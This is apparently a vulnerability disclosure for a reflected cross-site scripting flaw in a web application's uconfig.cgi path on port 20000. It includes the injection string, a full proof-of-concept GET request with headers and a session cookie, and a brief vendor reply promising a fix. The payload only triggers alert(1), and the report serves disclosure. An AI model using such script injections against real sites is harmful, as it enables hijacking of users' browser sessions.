It's possible to append the following string to the directory name: /?>'"><script>alert(1)</script> using the GET method.
Simple Proof-of-concept:
GET /uconfig.cgi/?%3E'%22%3E%3Cscript%3Ealert(1)%3C/script%3E?mailbox HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Referer: https://10.0.0.5:20000/
Cookie: usid=4a32b0070ec2edebb90a5d946940fc15; testing=1; redirect=1
Connection: Keep-Alive
Host: 10.0.0.5:20000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US
Set path to '/uconfig.cgi/'
Set query to '>'"><script>alert(1)</script>?mailbox'
It's possible to embed a script in the response, which will be executed when the page loads in the user's browser.
Thanks, we'll fix this in the next release.